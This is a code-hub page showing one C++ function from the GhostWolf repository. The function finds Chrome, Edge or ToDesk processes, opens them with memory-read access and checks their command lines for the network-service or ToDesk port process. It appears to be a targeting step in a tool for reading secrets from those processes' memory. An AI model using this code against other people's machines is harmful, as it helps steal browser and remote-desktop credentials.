MCPcopy Create free account
hub / github.com/SickleSec/GhostWolf / FindProcessPID

Function FindProcessPID

Ghostwolf/Process.cpp:180–249  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

178}
179
180BOOL FindProcessPID(LPCWSTR processName, DWORD* pid, HANDLE* hProcess, AppMode mode)
181{
182 HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
183 if (hProcessSnap == INVALID_HANDLE_VALUE)
184 {
185 PRINT("Create SnapShot Failed!\n");
186 return FALSE;
187 }
188
189 PROCESSENTRY32 pe32;
190 pe32.dwSize = sizeof(PROCESSENTRY32);
191
192 if (!Process32First(hProcessSnap, &pe32))
193 {
194 PRINT("GET First Process Failed!\n");
195 CloseHandle(hProcessSnap);
196 return FALSE;
197 }
198 const WCHAR* flags = TEXT("--utility-sub-type=network.mojom.NetworkService");
199 if (processName == L"ToDesk.exe") {
200 flags = TEXT("--localPort");
201 }
202
203 do {
204 if (wcscmp(pe32.szExeFile, processName) == 0) {
205 PEB peb = { 0 };
206 HANDLE hHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe32.th32ProcessID);
207 if (ReadRemoteProcessPEB(hHandle, &peb))
208 {
209 WCHAR* commandLine{ 0 };
210 if (ReadPEBProcessParameters(hHandle, &peb, &commandLine) && commandLine != 0)
211 {
212 if (processName == L"chrome.exe" || (processName == L"msedge.exe" && mode != Pass) || processName == L"ToDesk.exe") {
213 if (wcsstr(commandLine, flags) != 0) {
214 PRINT("[+] Fund AppLication process: %d\n", pe32.th32ProcessID);
215 PRINT(" Process owner: ");
216 GetTokenUser(hHandle);
217 PRINTW(L"\n\n");
218
219 *pid = pe32.th32ProcessID;
220 *hProcess = hHandle;
221 free(commandLine);
222 CloseHandle(hProcessSnap);
223 return TRUE;
224 }
225 }
226 else
227 {
228 PRINT("[+] Fund AppLication process: %d\n", pe32.th32ProcessID);
229 PRINT(" Process owner: ");
230 GetTokenUser(hHandle);
231 PRINTW(L"\n\n");
232
233 *pid = pe32.th32ProcessID;
234 *hProcess = hHandle;
235 free(commandLine);
236 CloseHandle(hProcessSnap);
237

Callers 1

mainFunction · 0.85

Calls 3

ReadRemoteProcessPEBFunction · 0.85
ReadPEBProcessParametersFunction · 0.85
GetTokenUserFunction · 0.85

Tested by

no test coverage detected